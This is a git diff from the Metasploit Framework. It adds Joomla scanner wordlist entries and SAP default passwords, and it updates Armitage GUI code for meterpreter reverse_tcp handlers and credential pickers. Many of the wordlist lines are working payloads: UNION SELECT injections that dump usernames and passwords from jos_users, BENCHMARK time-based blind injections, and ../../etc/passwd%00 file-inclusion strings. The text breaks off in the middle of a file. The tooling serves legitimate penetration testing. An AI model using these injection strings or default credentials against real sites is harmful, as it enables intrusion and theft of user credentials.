+index.php?option=com_products&id=-1 +index.php?option=com_products&product_id=-1 +index.php?option=com_products&task=category&catid=-1 +index.php?option=com_properties&task=agentlisting&aid= +index.php?option=com_qcontacts&Itemid=1' +index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts +index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_restaurantguide&view=country&id='&Itemid=69 +index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' +index.php?option=com_seyret&view= +index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users-- +index.php?option=com_smartsite&controller= +index.php?option=com_spa&view=spa_product&cid= +index.php?option=com_spidercalendar +index.php?option=com_spidercalendar&date=1' +index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_staticxt&staticfile=test.php&id=1923 +index.php?option=com_szallasok&mode=8&id=25 (SQL) +index.php?option=com_tag&task=tag&tag= +index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users-- +index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users +index.php?option=com_ultimateportfolio&controller= +index.php?option=com_users&view=registration +index.php?option=com_virtuemart&page=account.index&keyword=[sqli] +index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_x-shop&action=artdetail&idd=' +index.php?option=com_x-shop&action=artdetail&idd='[SQLi] +index.php?option=com_xcomp&controller=../../[LFI]%00 +index.php?option=com_xvs&controller=../../[LFI]%00 +index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users-- +index.php?option=com_yjcontactus&view= +index.php?option=com_youtube&id_cate=4 +index.php?option=com_zina&view=zina&Itemid=9 +index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id= +index.php?search=NoGe&option=com_esearch&searchId= +index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube +index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users-- +js/index.php?option=com_socialads&view=showad&Itemid=94 +libraries/joomla/utilities/compat/php50x.php +libraries/pcl/pcltar.php +libraries/phpmailer/phpmailer.php +libraries/phpxmlrpc/xmlrpcs.php +modules/mod_artuploader/upload.php"); +modules/mod_as_category.php +modules/mod_calendar.php +modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] +modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream"); +modules/mod_jfancy/script.php"); +modules/mod_ppc_simple_spotlight/elements/upload_file.php +modules/mod_ppc_simple_spotlight/img/ +modules/mod_pxt/ +modules/mod_quick_question.php +modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0 +patch/makedown.php?arquivo=../../../../etc/passwd +plugins/content/efup_files/helper.php"); +plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data"> +plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ +plugins/editors/xstandard/attachmentlibrary.php +print.php?task=person&id=36 and 1=1 +templates/be2004-2/ +templates/ja_purity/ +wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1-- +web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt index dcd73dd49cdf..fc64ceb34b36 100644 --- a/data/wordlists/sap_default.txt +++ b/data/wordlists/sap_default.txt @@ -12,3 +12,7 @@ ADS_AGENT ch4ngeme DEVELOPER ch4ngeme J2EE_ADMIN ch4ngeme SAPJSF ch4ngeme +SAPR3 SAP +CTB_ADMIN sap123 +XMI_DEMO sap123 + diff --git a/external/source/armitage/build.xml b/external/source/armitage/build.xml index b9d4ca043e54..f5bac934dc80 100644 --- a/external/source/armitage/build.xml +++ b/external/source/armitage/build.xml @@ -16,6 +16,8 @@ depend="yes" debug="true" optimize="yes" + target="1.6" + source="1.6" includeantruntime="fuckno" > diff --git a/external/source/armitage/resources/about.html b/external/source/armitage/resources/about.html index 85c4fe5dbb98..1167b175f417 100644 --- a/external/source/armitage/resources/about.html +++ b/external/source/armitage/resources/about.html @@ -3,7 +3,7 @@

Armitage 1.45

An attack management tool for Metasploit® -
Release: 4 Jan 13

+
Release: 12 Feb 13


Developed by:

diff --git a/external/source/armitage/resources/msfconsole.style b/external/source/armitage/resources/msfconsole.style index a8aa51662121..3d927f37a9c3 100644 --- a/external/source/armitage/resources/msfconsole.style +++ b/external/source/armitage/resources/msfconsole.style @@ -4,6 +4,7 @@ ^msf (.*?)\((.*?)\) > \umsf\u $1(\c4$2\o) > ^\[\*\] (.*) \cC[*]\o $1 ^\[\+\] (.*) \c9[+]\o $1 +^\[\!\] (.*) \c8[!]\o $1 ^\[\-\] (.*) \c4[-]\o $1 ^ =\[ (.*) =[\c7 $1 ^(=[=\s]+) \cE$1 diff --git a/external/source/armitage/resources/msfrpcd_new.bat b/external/source/armitage/resources/msfrpcd_new.bat new file mode 100644 index 000000000000..b1bcb31a212e --- /dev/null +++ b/external/source/armitage/resources/msfrpcd_new.bat @@ -0,0 +1,12 @@ +@echo off +set BASE=$$BASE$$..\..\ +cd "%BASE%" +set PATH=%BASE%ruby\bin;%BASE%java\bin;%BASE%tools;%BASE%nmap;%BASE%postgresql\bin;%PATH% +IF NOT EXIST "%BASE%java" GOTO NO_JAVA +set JAVA_HOME="%BASE%java" +:NO_JAVA +set MSF_DATABASE_CONFIG="%BASE%apps\pro\ui\config\database.yml" +set MSF_BUNDLE_GEMS=0 +set BUNDLE_GEMFILE=%BASE%apps\pro\ui\Gemfile +cd "%BASE%apps\pro\msf3" +rubyw msfrpcd -a 127.0.0.1 -U $$USER$$ -P $$PASS$$ -S -f -p $$PORT$$ diff --git a/external/source/armitage/scripts-cortana/cortanadb.sl b/external/source/armitage/scripts-cortana/cortanadb.sl index 97eae7e56bad..8b1842f5fc54 100644 --- a/external/source/armitage/scripts-cortana/cortanadb.sl +++ b/external/source/armitage/scripts-cortana/cortanadb.sl @@ -42,8 +42,13 @@ sub c_client { sub setupHandlers { find_job("Exploit: multi/handler", { if ($1 == -1) { + # set LPORT for the user... + local('$c'); + $c = call($client, "console.allocate")['id']; + call($client, "console.write", $c, "setg LPORT " . randomPort() . "\n"); + call($client, "console.release", $c); + # setup a handler for meterpreter - call($client, "core.setg", "LPORT", randomPort()); call($client, "module.execute", "exploit", "multi/handler", %( PAYLOAD => "windows/meterpreter/reverse_tcp", LHOST => "0.0.0.0", @@ -55,7 +60,7 @@ sub setupHandlers { sub main { global('$client $mclient'); - local('%r $exception'); + local('%r $exception $lhost $temp $c'); setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L); @@ -81,8 +86,24 @@ sub main { # setup second thread. %r = call($client, "armitage.validate", $user, $pass, $null, "armitage", 120326); + # resolve lhost.. + $c = call($client, "console.allocate")['id']; + call($client, "console.write", $c, "setg LHOST\n"); + while ($lhost eq "") { + $temp = call($client, "console.read", $c)['data']; + if (["$temp" startsWith: "LHOST => "]) { + $lhost = substr(["$temp" trim], 9); + } + else { + # this shouldn't happen because having LHOST set is a precondition + # for Cortana to connect to a team server. + sleep(1000); + } + } + call($client, "console.release", $c); + # pass some objects back yo. - [$loader passObjects: $client, $mclient]; + [$loader passObjects: $client, $mclient, $lhost]; # don't make previous messages available... call($mclient, "armitage.skip"); diff --git a/external/source/armitage/scripts-cortana/internal.sl b/external/source/armitage/scripts-cortana/internal.sl index d434f920da5a..5ab90d72355b 100644 --- a/external/source/armitage/scripts-cortana/internal.sl +++ b/external/source/armitage/scripts-cortana/internal.sl @@ -9,7 +9,10 @@ import msf.*; # setg("varname", "value") sub setg { - call_async("core.setg", $1, $2); + if ($1 eq "LHOST") { + call_async("armitage.set_ip", $2); + } + cmd_safe("setg $1 $2"); } sub readg { @@ -335,14 +338,22 @@ sub multi_handler { } sub handler { - local('%o $3'); - if ($3) { - %o = copy($3); - } + local('%o $3 $key $value'); - %o['PAYLOAD'] = "payload/ $+ $1"; + # default options + %o['PAYLOAD'] = $1; %o['LPORT'] = $2; + %o['DisablePayloadHandler'] = 'false'; + %o['ExitOnSession'] = 'false'; + + # let the user override anything + if ($3) { + foreach $key => $value ($3) { + %o[$key] = $value; + } + } + # make sure LHOST is correct if ('LHOST' !in %o) { if ("*http*" iswm $1) { %o['LHOST'] = lhost(); @@ -352,6 +363,7 @@ sub handler { } } + # let's do it... return launch('exploit', 'multi/handler', %o); } diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index 2cf69a9a9754..427e1c4a82a3 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -15,7 +15,7 @@ import graph.*; import java.awt.image.*; -global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS'); +global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME'); sub describeHost { local('$desc'); @@ -59,7 +59,7 @@ sub showHost { else if ("*XP*" iswm $match || "*2003*" iswm $match || "*.NET*" iswm $match) { push(@overlay, 'resources/windowsxp.png'); } - else if ("*8*" iswm $match) { + else if ("*8*" iswm $match && "*2008*" !iswm $match) { push(@overlay, 'resources/windows8.png'); } else { @@ -139,7 +139,7 @@ sub _connectToMetasploit { $progress = [new ProgressMonitor: $null, "Connecting to $1 $+ : $+ $2", "first try... wish me luck.", 0, 100]; # keep track of whether we're connected to a local or remote Metasploit instance. This will affect what we expose. - $REMOTE = iff($1 eq "127.0.0.1", $null, 1); + $REMOTE = iff($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost", $null, 1); $flag = 10; while ($flag) { @@ -160,11 +160,12 @@ sub _connectToMetasploit { } # connecting locally? go to Metasploit directly... - if ($1 eq "127.0.0.1" || $1 eq "::1" || $1 eq "localhost") { + if ($REMOTE is $null) { $client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug]; $aclient = [new RpcAsync: $client]; $mclient = $client; initConsolePool(); + $DESCRIBE = "localhost"; } # we have a team server... connect and authenticate to it. else { @@ -172,6 +173,11 @@ sub _connectToMetasploit { setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L); $mclient = setup_collaboration($3, $4, $1, $2); $aclient = $mclient; + + if ($mclient is $null) { + [$progress close]; + return; + } } $flag = $null; } @@ -239,10 +245,6 @@ sub _connectToMetasploit { [$progress setNote: "Connected: ..."]; [$progress setProgress: 60]; - if (!$REMOTE && %MSF_GLOBAL['ARMITAGE_TEAM'] eq '1') { - showErrorAndQuit("Do not connect to 127.0.0.1 when\nrunning a team server."); - } - dispatchEvent(&postSetup); }, \$progress)); } @@ -323,28 +325,23 @@ sub postSetup { } sub main { - local('$console $panel $dir'); + local('$console $panel $dir $app'); - $frame = [new ArmitageApplication]; + $frame = [new ArmitageApplication: $__frame__, $DESCRIBE, $mclient]; [$frame setTitle: $TITLE]; - [$frame setSize: 800, 600]; - + [$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; init_menus($frame); initLogSystem(); - [$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; - [$frame show]; - [$frame setExtendedState: [JFrame MAXIMIZED_BOTH]]; - # this window listener is dead-lock waiting to happen. That's why we're adding it in a # separate thread (Sleep threads don't share data/locks). fork({ - [$frame addWindowListener: { + [$__frame__ addWindowListener: { if ($0 eq "windowClosing" && $msfrpc_handle !is $null) { closef($msfrpc_handle); } }]; - }, \$msfrpc_handle, \$frame); + }, \$msfrpc_handle, \$__frame__); dispatchEvent({ if ($client !is $mclient) { @@ -375,7 +372,6 @@ sub checkDir { } } -setLookAndFeel(); checkDir(); if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) { diff --git a/external/source/armitage/scripts/attacks.sl b/external/source/armitage/scripts/attacks.sl index 4940fb4474e5..9fa13c9902d3 100644 --- a/external/source/armitage/scripts/attacks.sl +++ b/external/source/armitage/scripts/attacks.sl @@ -679,12 +679,20 @@ sub addFileListener { $actions["SigningCert"] = $actions["*FILE*"]; $actions["SigningKey"] = $actions["*FILE*"]; $actions["Wordlist"] = $actions["*FILE*"]; + $actions["EXE::Custom"] = $actions["*FILE*"]; + $actions["EXE::Template"] = $actions["*FILE*"]; $actions["WORDLIST"] = $actions["*FILE*"]; $actions["REXE"] = $actions["*FILE*"]; # set up an action to choose a session $actions["SESSION"] = lambda(&chooseSession); + # helpers to set credential pairs from database... yay? + $actions["USERNAME"] = lambda(&credentialHelper, \$model, $USER => "USERNAME", $PASS => "PASSWORD"); + $actions["PASSWORD"] = lambda(&credentialHelper, \$model, $USER => "USERNAME", $PASS => "PASSWORD"); + $actions["SMBUser"] = lambda(&credentialHelper, \$model, $USER => "SMBUser", $PASS => "SMBPass"); + $actions["SMBPass"] = lambda(&credentialHelper, \$model, $USER => "SMBUser", $PASS => "SMBPass"); + # set up an action to pop up a file chooser for different file type values. $actions["RHOST"] = { local('$title $temp'); diff --git a/external/source/armitage/scripts/collaborate.sl b/external/source/armitage/scripts/collaborate.sl index 4a2cc2959c0f..2f302c3837e8 100644 --- a/external/source/armitage/scripts/collaborate.sl +++ b/external/source/armitage/scripts/collaborate.sl @@ -23,6 +23,7 @@ sub createEventLogTab { $client = [$cortana getEventLog: $console]; [$client setEcho: $null]; [$console updatePrompt: "> "]; + [new EventLogTabCompletion: $console, $mclient]; } else { [$console updateProperties: $preferences]; @@ -63,6 +64,7 @@ sub c_client { # run this thing in its own thread to avoid really stupid deadlock situations local('$handle'); $handle = [[new SecureSocket: $1, int($2), &verify_server] client]; + push(@CLOSEME, $handle); return wait(fork({ local('$client'); $client = newInstance(^RpcConnection, lambda({ @@ -91,9 +93,11 @@ sub setup_collaboration { %r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326); if (%r["error"] eq "1") { showErrorAndQuit(%r["message"]); + return $null; } %r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326); + $DESCRIBE = "$nick $+ @ $+ $3"; return $mclient; } diff --git a/external/source/armitage/scripts/gui.sl b/external/source/armitage/scripts/gui.sl index da5f974c100b..d5dae2412b98 100644 --- a/external/source/armitage/scripts/gui.sl +++ b/external/source/armitage/scripts/gui.sl @@ -95,13 +95,13 @@ sub dispatchEvent { sub showError { dispatchEvent(lambda({ - [JOptionPane showMessageDialog: $frame, $message]; + [JOptionPane showMessageDialog: $__frame__, $message]; }, $message => $1)); } sub showErrorAndQuit { - [JOptionPane showMessageDialog: $frame, $1]; - [System exit: 0]; + [JOptionPane showMessageDialog: $__frame__, $1]; + [$__frame__ closeConnect]; } sub ask { @@ -155,7 +155,7 @@ sub chooseFile { [$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]]; } - [$fc showOpenDialog: $frame]; + [$fc showOpenDialog: $__frame__]; if ($multi) { return [$fc getSelectedFiles]; @@ -179,17 +179,18 @@ sub saveFile2 { [$fc setSelectedFile: [new java.io.File: $sel]]; } - [$fc showSaveDialog: $frame]; - $file = [$fc getSelectedFile]; - if ($file !is $null) { - return $file; + if ([$fc showSaveDialog: $__frame__] == 0) { + $file = [$fc getSelectedFile]; + if ($file !is $null) { + return $file; + } } } sub saveFile { local('$fc $file'); $fc = [new JFileChooser]; - [$fc showSaveDialog: $frame]; + [$fc showSaveDialog: $__frame__]; $file = [$fc getSelectedFile]; if ($file !is $null) { local('$ihandle $data $ohandle'); @@ -250,10 +251,10 @@ sub left { sub dialog { local('$dialog $4'); - $dialog = [new JDialog: $frame, $1]; + $dialog = [new JDialog: $__frame__, $1]; [$dialog setSize: $2, $3]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; return $dialog; } @@ -261,7 +262,15 @@ sub window { local('$dialog $4'); $dialog = [new JFrame: $1]; [$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]]; - [$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]]; + + fork({ + [$dialog addWindowListener: { + if ($0 eq "windowClosing") { + [$__frame__ closeConnect]; + } + }]; + }, \$__frame__, \$dialog); + [$dialog setSize: $2, $3]; [$dialog setLayout: [new BorderLayout]]; return $dialog; @@ -277,12 +286,14 @@ sub overlay_images { return %cache[join(';', $1)]; } - local('$file $image $buffered $graphics'); + local('$file $image $buffered $graphics $resource'); $buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]]; $graphics = [$buffered createGraphics]; foreach $file ($1) { - $image = [ImageIO read: resource($file)]; + $resource = resource($file); + $image = [ImageIO read: $resource]; + closef($resource); [$graphics drawImage: $image, 0, 0, 1000, 776, $null]; } @@ -371,15 +382,6 @@ sub wrapComponent { return $panel; } -sub setLookAndFeel { - local('$laf'); - foreach $laf ([UIManager getInstalledLookAndFeels]) { - if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) { - [UIManager setLookAndFeel: [$laf getClassName]]; - } - } -} - sub thread { local('$thread'); $thread = [new ArmitageThread: $1]; @@ -446,7 +448,7 @@ sub quickListDialog { $button = [new JButton: $2]; [$button addActionListener: lambda({ - [$callback : [$model getSelectedValueFromColumn: $table, $lead]]; + [$callback : [$model getSelectedValueFromColumn: $table, $lead], $table, $model]; [$dialog setVisible: 0]; }, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])]; @@ -467,6 +469,13 @@ sub quickListDialog { [$dialog setVisible: 1]; } +sub setTableColumnWidths { + local('$col $width $temp'); + foreach $col => $width ($2) { + [[$1 getColumn: $col] setPreferredWidth: $width]; + } +} + sub tableRenderer { return [ATable getDefaultTableRenderer: $1, $2]; } diff --git a/external/source/armitage/scripts/hosts.sl b/external/source/armitage/scripts/hosts.sl index 448bdb8fc7f6..767415458575 100644 --- a/external/source/armitage/scripts/hosts.sl +++ b/external/source/armitage/scripts/hosts.sl @@ -8,10 +8,10 @@ import java.awt.event.*; sub addHostDialog { local('$dialog $label $text $finish $button'); - $dialog = [new JDialog: $frame, "Add Hosts", 0]; + $dialog = [new JDialog: $__frame__, "Add Hosts", 0]; [$dialog setSize: 320, 240]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; $label = [new JLabel: "Enter one host/line:"]; $text = [new JTextArea]; diff --git a/external/source/armitage/scripts/jobs.sl b/external/source/armitage/scripts/jobs.sl index fc30868be77e..603f8ccf1b23 100644 --- a/external/source/armitage/scripts/jobs.sl +++ b/external/source/armitage/scripts/jobs.sl @@ -16,47 +16,7 @@ import java.awt.event.*; import ui.*; sub manage_proxy_server { - manage_job("Auxiliary: server/socks4a", - # start server function - { - launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", $null); - }, - # description of job (for job kill function) - { - local('$host $port'); - ($host, $port) = values($2["datastore"], @("SRVHOST", "SRVPORT")); - return "SOCKS proxy is running on $host $+ : $+ $port $+ .\nWould you like to stop it?"; - } - ); - -} - -sub report_url { - find_job($name, { - if ($1 == -1) { - showError("Server not found"); - } - else { - local('$job $host $port $uripath'); - $job = call($client, "job.info", $1); - - ($host, $port) = values($job["info"]["datastore"], @("SRVHOST", "SRVPORT")); - $uripath = $job["info"]["uripath"]; - - local('$dialog $text $ok'); - $dialog = dialog("Output", 320, 240); - $text = [new JTextArea]; - [$text setText: "http:// $+ $host $+ : $+ $port $+ $uripath"]; - - $button = [new JButton: "Ok"]; - [$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)]; - - [$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]]; - [$dialog add: center($button), [BorderLayout SOUTH]]; - - [$dialog setVisible: 1]; - } - }); + launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", 1); } sub find_job { @@ -80,26 +40,6 @@ sub find_job { }, $name => $1, $function => $2)); } -# manage_job(job name, { start job function }, { job dialog info }) -sub manage_job { - local('$name $startf $stopf'); - ($name, $startf, $stopf) = @_; - - find_job($name, lambda({ - if ($1 == -1) { - [$startf]; - } - else { - local('$job $confirm $foo $confirm'); - $job = call($client, "job.info", $1); - $confirm = askYesNo([$stopf : $1, $job], "Stop Job"); - if ($confirm eq "0") { - call_async($client, "job.stop", $1); - } - } - }, \$startf, \$stopf)); -} - sub generatePayload { local('$file'); $file = saveFile2(); @@ -450,6 +390,11 @@ sub _launch_dialog { elog("launched DNS enum for $domain"); } } + else if ($type eq "auxiliary" && $command eq "server/socks4a") { + local('$host $port'); + ($host, $port) = values($options, @('SRVHOST', 'SRVPORT')); + elog("started SOCKS proxy server at $host $+ : $+ $port"); + } launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem]); } diff --git a/external/source/armitage/scripts/log.sl b/external/source/armitage/scripts/log.sl index 6916a2d78f9b..e1d6c0980065 100644 --- a/external/source/armitage/scripts/log.sl +++ b/external/source/armitage/scripts/log.sl @@ -15,8 +15,8 @@ sub logNow { if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") { local('$today $stream'); $today = formatDate("yyMMdd"); - mkdir(getFileProper(dataDirectory(), $today, $2)); - $stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ]; + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2)); + $stream = %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$1 $+ .log") ]; [$stream println: $3]; } } @@ -26,8 +26,8 @@ sub logCheck { local('$today'); $today = formatDate("yyMMdd"); if ($2 ne "") { - mkdir(getFileProper(dataDirectory(), $today, $2)); - [$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]]; + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2)); + [$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$3 $+ .log") ]]; } } } @@ -38,7 +38,7 @@ sub logFile { local('$today $handle $data $out'); $today = formatDate("yyMMdd"); if (-exists $1 && -canread $1) { - mkdir(getFileProper(dataDirectory(), $today, $2, $3)); + mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3)); # read in the file $handle = openf($1); @@ -46,7 +46,7 @@ sub logFile { closef($handle); # write it out. - $out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1)); + $out = getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3, getFileName($1)); $handle = openf("> $+ $out"); writeb($handle, $data); closef($handle); @@ -70,7 +70,7 @@ sub initLogSystem { logFile([$file getAbsolutePath], "screenshots", "."); deleteFile([$file getAbsolutePath]); - showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots"); + showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/ $+ $DESCRIBE $+ /screenshots"); }, \$image, \$title)); }]; } diff --git a/external/source/armitage/scripts/menus.sl b/external/source/armitage/scripts/menus.sl index 7c70ba2d6285..011e0d72ed77 100644 --- a/external/source/armitage/scripts/menus.sl +++ b/external/source/armitage/scripts/menus.sl @@ -54,6 +54,29 @@ sub host_selected_items { item($i, '3. Vista/7', '3', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "Vista")); item($i, '4. 8/RT', '4', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "8")); + item($h, "Set Label...", 'S', lambda({ + # calculate preexisting label to prompt with + local('$label %l $host'); + + # get a label + foreach $host ($hosts) { + if ($label eq "") { + $label = getHostLabel($host); + } + } + + # ask for a label + $label = ask("Set label to:", $label); + if ($label !is $null) { + foreach $host ($hosts) { + %l[$host] = ["$label" trim]; + } + call_async($mclient, "db.report_labels", %l); + } + }, $hosts => $2)); + + separator($h); + item($h, "Remove Host", 'R', clearHostFunction($2)); } @@ -96,10 +119,13 @@ sub view_items { sub armitage_items { local('$m'); - item($1, 'Preferences', 'P', &createPreferencesTab); - + item($1, 'New Connection', 'N', { + [new armitage.ArmitageMain: cast(@ARGV, ^String), $__frame__, $null]; + }); separator($1); + item($1, 'Preferences', 'P', &createPreferencesTab); + dynmenu($1, 'Set Target View', 'S', { local('$t1 $t2'); if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") { @@ -160,12 +186,13 @@ sub armitage_items { separator($1); - item($1, 'Exit', 'x', { + item($1, 'Close', 'C', { if ($msfrpc_handle !is $null) { closef($msfrpc_handle); } - [System exit: 0]; + map({ closef($1); }, @CLOSEME); + [$__frame__ quit]; }); } @@ -223,7 +250,7 @@ sub help_items { [$dialog add: $label, [BorderLayout CENTER]]; [$dialog pack]; - [$dialog setLocationRelativeTo: $null]; + [$dialog setLocationRelativeTo: $__frame__]; [$dialog setVisible: 1]; }); } diff --git a/external/source/armitage/scripts/passhash.sl b/external/source/armitage/scripts/passhash.sl index 19feb846c31e..c5eaf94ffbd3 100644 --- a/external/source/armitage/scripts/passhash.sl +++ b/external/source/armitage/scripts/passhash.sl @@ -58,12 +58,38 @@ import ui.*; sub refreshCredsTable { thread(lambda({ [Thread yield]; - local('$creds $cred'); + local('$creds $cred $desc $aclient %check $key'); [$model clear: 128]; - $creds = call($mclient, "db.creds2", [new HashMap])["creds2"]; + foreach $desc => $aclient (convertAll([$__frame__ getClients])) { + $creds = call($aclient, "db.creds2", [new HashMap])["creds2"]; + foreach $cred ($creds) { + $key = join("~~", values($cred, @("user", "pass", "host"))); + if ($key in %check) { + + } + else if ($title ne "login" || $cred['ptype'] ne "smb_hash") { + [$model addEntry: $cred]; + %check[$key] = 1; + } + } + } + [$model fireListeners]; + }, $model => $1, $title => $2)); +} + +sub refreshCredsTableLocal { + thread(lambda({ + [Thread yield]; + local('$creds $cred $desc $aclient %check $key'); + [$model clear: 128]; + $creds = call($client, "db.creds2", [new HashMap])["creds2"]; foreach $cred ($creds) { - if ($title ne "login" || $cred['ptype'] ne "smb_hash") { + $key = join("~~", values($cred, @("user", "pass", "host"))); + if ($key in %check) { + } + else if ($title ne "login" || $cred['ptype'] ne "smb_hash") { [$model addEntry: $cred]; + %check[$key] = 1; } } [$model fireListeners]; @@ -71,7 +97,7 @@ sub refreshCredsTable { } sub show_hashes { - local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll'); + local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll $3'); $dialog = dialog($1, 480, $2); @@ -83,7 +109,12 @@ sub show_hashes { [$sorter setComparator: 2, &compareHosts]; [$table setRowSorter: $sorter]; - refreshCredsTable($model, $1); + if ($3) { + refreshCredsTableLocal($model, $1); + } + else { + refreshCredsTable($model, $1); + } $scroll = [new JScrollPane: $table]; [$scroll setPreferredSize: [new Dimension: 480, 130]]; @@ -94,7 +125,7 @@ sub show_hashes { sub createCredentialsTab { local('$dialog $table $model $panel $export $crack $refresh'); - ($dialog, $table, $model) = show_hashes("", 320); + ($dialog, $table, $model) = show_hashes("", 320, 1); [$dialog removeAll]; addMouseListener($table, lambda({ @@ -131,7 +162,7 @@ sub createCredentialsTab { $refresh = [new JButton: "Refresh"]; [$refresh addActionListener: lambda({ - refreshCredsTable($model, $null); + refreshCredsTableLocal($model, $null); }, \$model)]; $crack = [new JButton: "Crack Passwords"]; @@ -372,3 +403,34 @@ sub launchBruteForce { [$console start]; }, $type => $1, $module => $2, $options => $3, $title => $4)); } + +sub credentialHelper { + thread(lambda({ + [Thread yield]; + + # gather our credentials please + local('$creds $cred @creds'); + $creds = call($mclient, "db.creds2", [new HashMap])["creds2"]; + foreach $cred ($creds) { + if ($PASS eq "SMBPass" || $cred['ptype'] ne "smb_hash") { + push(@creds, $cred); + } + } + + # pop up a dialog to let the user choose their favorite set + quickListDialog("Choose credentials", "Select", @("user", "user", "pass", "host"), @creds, $width => 640, $height => 240, lambda({ + if ($1 eq "") { + return; + } + + local('$user $pass'); + $user = [$3 getSelectedValueFromColumn: $2, 'user']; + $pass = [$3 getSelectedValueFromColumn: $2, 'pass']; + + [$model setValueForKey: $USER, "Value", $user]; + [$model setValueForKey: $PASS, "Value", $pass]; + [$model fireListeners]; + }, \$callback, \$model, \$USER, \$PASS)); + }, \$USER, \$PASS, \$model, $callback => $4)); +} + diff --git a/external/source/armitage/scripts/pivots.sl b/external/source/armitage/scripts/pivots.sl index 3a5e117f4aec..3adbfe450b45 100644 --- a/external/source/armitage/scripts/pivots.sl +++ b/external/source/armitage/scripts/pivots.sl @@ -107,10 +107,10 @@ sub pivot_dialog { } local('$dialog 